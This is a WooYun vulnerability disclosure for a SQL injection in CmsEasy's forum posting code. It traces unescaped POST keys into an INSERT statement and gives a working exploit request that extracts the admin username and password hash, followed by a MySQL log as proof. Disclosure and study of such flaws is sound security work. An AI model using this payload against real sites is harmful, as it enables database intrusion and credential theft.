WooYun-2014-66221:Cmseasy SQL注射漏洞之三

漏洞作者: Noxxx

来源:http://www.wooyun.org/bugs/wooyun-2014-066221

简要描述

注入。。

详细说明

bbs中发文章的时候 直接把$_POST数据带入 拼接sql功能函数中导致注入

/bbs/add-archive.php 30行

if($id = $archive->inserData($_POST)){

直接带入整个$_POST

/bbs/model/db/base.php 38行

public function inserData($data){

       $r = $this->odb->insert($this->tblName,$data); //在跟入

       if($r)

           return $this->odb->getInsertId();

       else

           return false;

}

/bbs/commonlib/db.php

public function insert($table, $data)

    {

        $sql = $this->getInsertString($table, $data);//拼接sql 继续看。。

        return $this->execSql($sql);

    }
public function getInsertString($table, $data)

    {

        $n_str = '';

        $v_str = '';

        $table = $this->filterString($table);

        foreach ($data as $k => $v)//遍历数据  因为穿过来的是整个$_POST所以 我们可以任意控制 列明和值

        {

            $n_str .= $this->filterString($k).',';

            $v_str .= "'".$this->filterString($v)."',";

        }

        $n_str = preg_replace( "/,$/", "", $n_str );

        $v_str = preg_replace( "/,$/", "", $v_str );

        $str = 'INSERT INTO '.$table.' ('.$n_str.') VALUES('.$v_str.')';

        return $str;

    }
public function filterString($str)

    {

        if ($this->magic_quotes)

        {

            $str = stripslashes($str);

        }

        if ( is_numeric($str) ) {

            return $str;

        } else {

            $ret = @mysqli_real_escape_string($this->con, $str);

            if ( strlen($str) && !isset($ret) ) {

                $r = $this->checkConnection();

                if ($r !== true) {

                    $this->closeDB();

                    $ret = $str;

                }

            }

            return $ret;

        }

    }

过滤也没什么用 因为没过滤关键一些语句

里面还有一个360safe.php的脚本 但是 这个并不过滤键名 只过滤键值

还有一个变量名中的点和空格被转换成下划线。不过不用空格也是可以的。。

exp:

.../PHP/CmsEasy/bbs/add-archive.php?cid=1

(POST)

title=a&content)values(1,(SELECT(CONCAT(USERNAME,0x7c,PASSWORD))FROM(cmseasy_user)WHERE(USERID%3D1)))#=c&submit=a&verify=HKCX

漏洞证明

mysql 日志 :

2070 Query INSERT INTO cmseasy_bbs_archive (title,content)values(1,(SELECT(CONCAT(USERNAME,0x7c,PASSWORD))FROM(cmseasy_user)WHERE(USERID=1)))#,username,userid,ip,addtime) VALUES('a','c','123213','4','...','1403698291')

修复方案

不要把$_POST提交过去。。